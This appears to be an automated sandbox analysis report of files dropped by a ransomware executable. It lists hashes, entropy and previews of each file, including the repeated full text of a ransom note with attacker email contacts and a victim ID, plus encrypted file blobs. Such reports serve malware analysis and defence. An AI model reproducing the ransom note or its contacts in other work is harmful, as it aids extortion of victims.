                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):288
                                                                                                                                                                Entropy (8bit):7.216998862514477
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:eeu9PRJi/MxWJBBECExmgv95Qozpts+D4XmQ4VHvEDizfCpxSn:BYPRI/zBB5IBzp++D42Q4VH8DizCvSn
                                                                                                                                                                MD5:17D2164ED771BFD21DD6D95CE812F703
                                                                                                                                                                SHA1:374E79F83B393D2EE36F78ECC1413F11599DB814
                                                                                                                                                                SHA-256:6FD2D05E419868B79072B99438DAF73702A65DE0B763983894556C615ACB2795
                                                                                                                                                                SHA-512:30EC3C302D64A5574EC66D89F17066C8C82B3A89EA97BA110D2AC14CF14F8FB4BB307F1489B58B6F8BE2A944FFC367CEFDE72F3D6738239985C25D5200CCC873
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:U.;.".a..E....D>>].>>t7..*._._...T.3S.i.(....M...k.F\....6.C%..~.......M4[wKK...C.0.\..(\.2....'.ba..Z...:....W...-.n.s.p.g.O.n=.:.D,.&?...8...JS..-.......5.r....*.i......!.x......(|b%..wG.q.r.C\t.r....N.,cE{...k.v.:...yOB.&.].D..5.. 3........K.Kr.|.$1+b...z.8..B...0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):288
                                                                                                                                                                Entropy (8bit):7.216998862514477
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:eeu9PRJi/MxWJBBECExmgv95Qozpts+D4XmQ4VHvEDizfCpxSn:BYPRI/zBB5IBzp++D42Q4VH8DizCvSn
                                                                                                                                                                MD5:17D2164ED771BFD21DD6D95CE812F703
                                                                                                                                                                SHA1:374E79F83B393D2EE36F78ECC1413F11599DB814
                                                                                                                                                                SHA-256:6FD2D05E419868B79072B99438DAF73702A65DE0B763983894556C615ACB2795
                                                                                                                                                                SHA-512:30EC3C302D64A5574EC66D89F17066C8C82B3A89EA97BA110D2AC14CF14F8FB4BB307F1489B58B6F8BE2A944FFC367CEFDE72F3D6738239985C25D5200CCC873
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:U.;.".a..E....D>>].>>t7..*._._...T.3S.i.(....M...k.F\....6.C%..~.......M4[wKK...C.0.\..(\.2....'.ba..Z...:....W...-.n.s.p.g.O.n=.:.D,.&?...8...JS..-.......5.r....*.i......!.x......(|b%..wG.q.r.C\t.r....N.,cE{...k.v.:...yOB.&.].D..5.. 3........K.Kr.|.$1+b...z.8..B...0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.258193638347741
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:dzHawuIFOBWpK4LuupfEkcWB+6m77J3v5cfrtYmJfv/p8eKmn:dzHKI0A9f55mBKfrqqJ8qn
                                                                                                                                                                MD5:8A544AC38FA720CAADCEE9354A119B3A
                                                                                                                                                                SHA1:4179DD7E49B1DDC08AA3F607EBDCB5A8083E2ECD
                                                                                                                                                                SHA-256:2DEDF8964F7ED7B2CF2500C7B03E1E12FCB0816546CA29DD84DA4D1C632ED61D
                                                                                                                                                                SHA-512:D26E83FD92F02578B91CDE19890FDC3D3AF8C141CBE058D3CDD1E7DF3353E4A397532A6B63E07847AC8D6FD260DFA2FEA8511531547FB9F7817CD1A161919211
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:........c....~0<<>>].>>hB..3.A.......'....Q.e.:Qd....Fb....G.WR.|I.X..R,..*.d;D...p<...o3B]J..Io.O....lM.N$.].l....R9.@<@.J.ua.[.......U.3..s.....!.u..}....v-)......i<...1.S..i..H..1....h.............Ew...X.7.3..C5.....G....x.G<....=.T..BJ........P}....Z..p.....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.258193638347741
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:dzHawuIFOBWpK4LuupfEkcWB+6m77J3v5cfrtYmJfv/p8eKmn:dzHKI0A9f55mBKfrqqJ8qn
                                                                                                                                                                MD5:8A544AC38FA720CAADCEE9354A119B3A
                                                                                                                                                                SHA1:4179DD7E49B1DDC08AA3F607EBDCB5A8083E2ECD
                                                                                                                                                                SHA-256:2DEDF8964F7ED7B2CF2500C7B03E1E12FCB0816546CA29DD84DA4D1C632ED61D
                                                                                                                                                                SHA-512:D26E83FD92F02578B91CDE19890FDC3D3AF8C141CBE058D3CDD1E7DF3353E4A397532A6B63E07847AC8D6FD260DFA2FEA8511531547FB9F7817CD1A161919211
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:........c....~0<<>>].>>hB..3.A.......'....Q.e.:Qd....Fb....G.WR.|I.X..R,..*.d;D...p<...o3B]J..Io.O....lM.N$.].l....R9.@<@.J.ua.[.......U.3..s.....!.u..}....v-)......i<...1.S..i..H..1....h.............Ew...X.7.3..C5.....G....x.G<....=.T..BJ........P}....Z..p.....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):65716
                                                                                                                                                                Entropy (8bit):6.568150958302621
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:lorgr8bn1nwyJhnxsxPwkZ6x5RX1X2QdQZiXEWZBMZ/dYS8VLm+kig+GPG6G:GGs1wSnxslEkZ4ZeZutbzfv
                                                                                                                                                                MD5:52B0EAF40A2B953C513F1A61E531FE6D
                                                                                                                                                                SHA1:CD9D18B3008982E280CAE929CB38498024BE37BD
                                                                                                                                                                SHA-256:C2C0C87ED8A51883D73F9259BC645050DCCB1E86441EFF830CA0DD708C707328
                                                                                                                                                                SHA-512:C5346D14A92BB2971D676CA022670C70FEC99CF98DDF299E26A94A496BE5073DFC52BF482DE256A7C8B9E5958014E2B54B81BDE6C03254501C4FD16721F979A7
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..<.-,K.........`.U...8....}}..#1M.Y..1m..%.A..M0..:...*.,..=.....e..S.:k..}...6*.P.].6F+x..Qb...hI=.d....0........<A"..F. .........~....M.hgi....y..B.7]..n9..J..........6......Mp....._L.6l'..1.. v.[ .....g.....C$.....3.....F...s.dFu..Pl.E.5.y...q~.'|j..a.\.....)..?7;PK...%]X...t...l.!......9.....O......_.f.wb..@/....6k...<....*.......3..].M.~.a.@...:#.'T#..9F.Z.>t..H.%..KsN.J..;Yb']o".^...A...<I..._..5...........q.W.../N..l .L..t.[..G..C.......l.I.....V)@ o...|.Yn...'v..m..hf.....J..71.s4..Z.=.5.h7..........8.K..1=..&.<sJ.6.R..:..(.V..n.....".d[/u...%....!J..?...f.Jf.f.AR...1...e..j.Op{..V[..........v..mY..H<............b..j...=G......H(*...X8.@....#U.^...l...o2...G7<.....:?.|nC..(..t...hF..+..s..\....VVM.M.....M/...L..L.....U.}....h....fz.............N..Bx....'f...?cH..y...4.nY.....,..l...z..19....2+..wM..j.R.(GAt@?..xn.d_.h........,..........Cq...:.1..,.H.....1.v=....W..e&LO..H.c.H.-..#7....j.@z..=.2Bo...o4.s.1.n..[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):65716
                                                                                                                                                                Entropy (8bit):6.568150958302621
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:lorgr8bn1nwyJhnxsxPwkZ6x5RX1X2QdQZiXEWZBMZ/dYS8VLm+kig+GPG6G:GGs1wSnxslEkZ4ZeZutbzfv
                                                                                                                                                                MD5:52B0EAF40A2B953C513F1A61E531FE6D
                                                                                                                                                                SHA1:CD9D18B3008982E280CAE929CB38498024BE37BD
                                                                                                                                                                SHA-256:C2C0C87ED8A51883D73F9259BC645050DCCB1E86441EFF830CA0DD708C707328
                                                                                                                                                                SHA-512:C5346D14A92BB2971D676CA022670C70FEC99CF98DDF299E26A94A496BE5073DFC52BF482DE256A7C8B9E5958014E2B54B81BDE6C03254501C4FD16721F979A7
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..<.-,K.........`.U...8....}}..#1M.Y..1m..%.A..M0..:...*.,..=.....e..S.:k..}...6*.P.].6F+x..Qb...hI=.d....0........<A"..F. .........~....M.hgi....y..B.7]..n9..J..........6......Mp....._L.6l'..1.. v.[ .....g.....C$.....3.....F...s.dFu..Pl.E.5.y...q~.'|j..a.\.....)..?7;PK...%]X...t...l.!......9.....O......_.f.wb..@/....6k...<....*.......3..].M.~.a.@...:#.'T#..9F.Z.>t..H.%..KsN.J..;Yb']o".^...A...<I..._..5...........q.W.../N..l .L..t.[..G..C.......l.I.....V)@ o...|.Yn...'v..m..hf.....J..71.s4..Z.=.5.h7..........8.K..1=..&.<sJ.6.R..:..(.V..n.....".d[/u...%....!J..?...f.Jf.f.AR...1...e..j.Op{..V[..........v..mY..H<............b..j...=G......H(*...X8.@....#U.^...l...o2...G7<.....:?.|nC..(..t...hF..+..s..\....VVM.M.....M/...L..L.....U.}....h....fz.............N..Bx....'f...?cH..y...4.nY.....,..l...z..19....2+..wM..j.R.(GAt@?..xn.d_.h........,..........Cq...:.1..,.H.....1.v=....W..e&LO..H.c.H.-..#7....j.@z..=.2Bo...o4.s.1.n..[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1003
                                                                                                                                                                Entropy (8bit):7.808931624359546
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:Pr0hwvcMg6BkElGM1bBNUbTafRG6Fi3eps7:z0hUTg6BkYGMveTafI6I3uI
                                                                                                                                                                MD5:F7AF215F5318FB157A7A0169D0499DDE
                                                                                                                                                                SHA1:98F37FCF08EA630E52E0AB4327CFE1008B9240D0
                                                                                                                                                                SHA-256:FE0636F558C08D25BA7844880077C94ED823EBEB014E9C0B164F3C16C8B38274
                                                                                                                                                                SHA-512:636E9967417766DA2BF1FE6CE853F90183B70CD4A9EE0A228678D268FB40E6D0F38F7FD3E6109439D0BBF8702D7C41960ECD331911D6DF7404B18D7944D630A2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:3l........\Eo`...)"..#.`1..Y.l[j.7Nx...........9..MJq.z.O.....$h+.T.v).PA..G..M.@..Y........./...`.f.y5.'.5.=..T..|..bsci....~.<].Z....T~."..[f;..b..*..|..~...i!N..0-R...m....h...._...9.G..".9nF.........V..C-..4.a........Gq.p..Q.t:.@.W...R...4D.....k......v..kS.......,......xa/\Z6...i.?)..x........O.1..(.u....z...d<]...*~..Xm.n6."<x..P.G...B.....=}..>$Z...Q.l=hV...1/2"Si..'..8Y.i..v{.....Q)R.U....w2s.F..}.Li#W.......|.?#...j!m..g...$XvqQ....k.l;.=..M:..Z:...$.....one.......W+.'E..T.."S|.nE...h. q.:...r.....R...c......Q.m..P.W.....V.....q@Q.m..f.&e&:.e].......OE.[..-..R@..?...V.../..=v.....dT<....I.ZP.c.-..Q..5f3.........2.....8,.....].s...p.....Re<..zb~l)..g....a.e.3..........(rs...).....o....?.E.......d.xUp./...Y.Gb..6.h....d...b...C.1...eK.A....V...;.v~`P...eG....IAJ.C.gXl&0..X..t.......CR...6.PVY..D....z".sEe.t..!O+.a.k.......~..{..n............/.H....`....!....D#....xjw?............Pp............m..#.^e...........Z...;r...0xABADC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1003
                                                                                                                                                                Entropy (8bit):7.808931624359546
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:Pr0hwvcMg6BkElGM1bBNUbTafRG6Fi3eps7:z0hUTg6BkYGMveTafI6I3uI
                                                                                                                                                                MD5:F7AF215F5318FB157A7A0169D0499DDE
                                                                                                                                                                SHA1:98F37FCF08EA630E52E0AB4327CFE1008B9240D0
                                                                                                                                                                SHA-256:FE0636F558C08D25BA7844880077C94ED823EBEB014E9C0B164F3C16C8B38274
                                                                                                                                                                SHA-512:636E9967417766DA2BF1FE6CE853F90183B70CD4A9EE0A228678D268FB40E6D0F38F7FD3E6109439D0BBF8702D7C41960ECD331911D6DF7404B18D7944D630A2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:3l........\Eo`...)"..#.`1..Y.l[j.7Nx...........9..MJq.z.O.....$h+.T.v).PA..G..M.@..Y........./...`.f.y5.'.5.=..T..|..bsci....~.<].Z....T~."..[f;..b..*..|..~...i!N..0-R...m....h...._...9.G..".9nF.........V..C-..4.a........Gq.p..Q.t:.@.W...R...4D.....k......v..kS.......,......xa/\Z6...i.?)..x........O.1..(.u....z...d<]...*~..Xm.n6."<x..P.G...B.....=}..>$Z...Q.l=hV...1/2"Si..'..8Y.i..v{.....Q)R.U....w2s.F..}.Li#W.......|.?#...j!m..g...$XvqQ....k.l;.=..M:..Z:...$.....one.......W+.'E..T.."S|.nE...h. q.:...r.....R...c......Q.m..P.W.....V.....q@Q.m..f.&e&:.e].......OE.[..-..R@..?...V.../..=v.....dT<....I.ZP.c.-..Q..5f3.........2.....8,.....].s...p.....Re<..zb~l)..g....a.e.3..........(rs...).....o....?.E.......d.xUp./...Y.Gb..6.h....d...b...C.1...eK.A....V...;.v~`P...eG....IAJ.C.gXl&0..X..t.......CR...6.PVY..D....z".sEe.t..!O+.a.k.......~..{..n............/.H....`....!....D#....xjw?............Pp............m..#.^e...........Z...;r...0xABADC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):10506
                                                                                                                                                                Entropy (8bit):4.261942712287107
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GCgxKkB207kTHLo4zIEAeqsWDjQ3uLdAkYidaxeHMiL:GCgx72H84WXsGjQ44idTHH
                                                                                                                                                                MD5:D53A6E88FF6CA99B7FCE550483A5CF48
                                                                                                                                                                SHA1:8F1DCEF6DF998BC590B933333A2635168A11DECB
                                                                                                                                                                SHA-256:6FF5A7B53B2BB3BF0FE982E81EC0FFA5AECD9F3429450DD74CC506BE52D7CA4F
                                                                                                                                                                SHA-512:F22FBDE6B317893A7D0F18A9005A8B7FE140D3D5483500E08B97AA289D10AB424C90AFBD296CABEC4179CA92AC6020FED6B2899CF0AB7FF67639370953963A34
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.uE...]]..@..F?FCBW.....L..!.....m...6.h.(..bpjt...h..K..tacG......W.xU...Q..X/.......5.'....~....Q........F!_.|....r.cP..k..H..bTd...P......;..?_.....y...H........#...4.3..{......Yfv.....Bj...*.....h.-Ep&....HZ.._X.^.lH......~......t.....&#.S)<.I..`h*.....+.5.#.(.....i..0P...i.,...Y.."8&.._....GO...g.u...W...D.8&....2.A..(.H....'.7pu..v2.l.....'E/;.c...T...7.&...*`.. ...u..[...,m.l..U...v.3...W~...E*..#..#..<S..2.B...d.b..8....*W...s.....1....<n....s..a...&2#..../YF.....+....`..3.Q..KL..E.Q.f.|/..3......4.Q.x'...$)w..Xx.h. d3b...*..O.0...r..[.*.o..Oy......!..#O+9.[O...2.e...x<.!o.A......0.%.20S.y" .OM..$.R..K..~......m.Je_%l.tF2.;.Q.....c.l.3$..U;.....!...X'..m......Eb......L$..B.*....?..y.5kO...@....,rN,...........a.l...#.....,.dj.[*owb5.o.95[F...........w..{W.7>.c.T\.Z.....:.W.z...+)Msb..'.....%.$fMok....{.[AI...jMb.r,..m..[M..;..... ?..H.px..Fr|....Ew.Z...@.........7.1.......U...4...,....Is~\...'....M5."......pUPor.3..e.d
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):10506
                                                                                                                                                                Entropy (8bit):4.261942712287107
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GCgxKkB207kTHLo4zIEAeqsWDjQ3uLdAkYidaxeHMiL:GCgx72H84WXsGjQ44idTHH
                                                                                                                                                                MD5:D53A6E88FF6CA99B7FCE550483A5CF48
                                                                                                                                                                SHA1:8F1DCEF6DF998BC590B933333A2635168A11DECB
                                                                                                                                                                SHA-256:6FF5A7B53B2BB3BF0FE982E81EC0FFA5AECD9F3429450DD74CC506BE52D7CA4F
                                                                                                                                                                SHA-512:F22FBDE6B317893A7D0F18A9005A8B7FE140D3D5483500E08B97AA289D10AB424C90AFBD296CABEC4179CA92AC6020FED6B2899CF0AB7FF67639370953963A34
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.uE...]]..@..F?FCBW.....L..!.....m...6.h.(..bpjt...h..K..tacG......W.xU...Q..X/.......5.'....~....Q........F!_.|....r.cP..k..H..bTd...P......;..?_.....y...H........#...4.3..{......Yfv.....Bj...*.....h.-Ep&....HZ.._X.^.lH......~......t.....&#.S)<.I..`h*.....+.5.#.(.....i..0P...i.,...Y.."8&.._....GO...g.u...W...D.8&....2.A..(.H....'.7pu..v2.l.....'E/;.c...T...7.&...*`.. ...u..[...,m.l..U...v.3...W~...E*..#..#..<S..2.B...d.b..8....*W...s.....1....<n....s..a...&2#..../YF.....+....`..3.Q..KL..E.Q.f.|/..3......4.Q.x'...$)w..Xx.h. d3b...*..O.0...r..[.*.o..Oy......!..#O+9.[O...2.e...x<.!o.A......0.%.20S.y" .OM..$.R..K..~......m.Je_%l.tF2.;.Q.....c.l.3$..U;.....!...X'..m......Eb......L$..B.*....?..y.5kO...@....,rN,...........a.l...#.....,.dj.[*owb5.o.95[F...........w..{W.7>.c.T\.Z.....:.W.z...+)Msb..'.....%.$fMok....{.[AI...jMb.r,..m..[M..;..... ?..H.px..Fr|....Ew.Z...@.........7.1.......U...4...,....Is~\...'....M5."......pUPor.3..e.d
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):24418
                                                                                                                                                                Entropy (8bit):2.3627505853093473
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ppf4bwm7SHj063pa7XW7fonWL7V5AKsKcSGsx0+PH:ppgbwm7SHj063pwoAKcSGsK0
                                                                                                                                                                MD5:287491353D26BD9093266BA270C592A3
                                                                                                                                                                SHA1:58484810537B090C62C6EAE46B28C755F9EAF90A
                                                                                                                                                                SHA-256:56DD911354CEEB613CC1FA4B051573C78A62526265E557BC667A8BD3B2789AE3
                                                                                                                                                                SHA-512:ED63E50DBE63B6A8A2136FEDA3BEA7A06A053F78F3A438599BD666AB41B8770ED2D8CC9C6153A89D28AEEF9E2607F5063E5EB543308885EEFFFE75947851EF80
